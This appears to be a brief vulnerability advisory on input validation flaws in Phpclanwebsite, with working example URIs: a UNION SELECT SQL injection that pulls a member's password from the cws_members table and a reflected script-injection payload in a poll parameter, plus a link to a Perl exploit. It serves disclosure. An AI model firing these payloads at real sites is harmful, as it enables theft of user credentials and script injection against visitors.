Phpclanwebsite Multiple Input Validation Vulnerabilities

Phpclanwebsite Multiple Input Validation Vulnerabilities

No exploit is required.

Example URI have been provided:

http://www.example.com/phpclan/index.php?page=forum&func=post&par=2%20UNION%20SELECT%20null,null,null,null,null,null,password,null%20FROM%20cws_members%20WHERE%20member_id=3/*

http://www.example.com/index.php?page=pollresults&poll_id='><script>alert('The Bug Hunter matrix_killer is back');</script

http://www.securityfocus.com/data/vulnerabilities/exploits/Phpclanwebsite.1.23.1.SQL.Injection.pl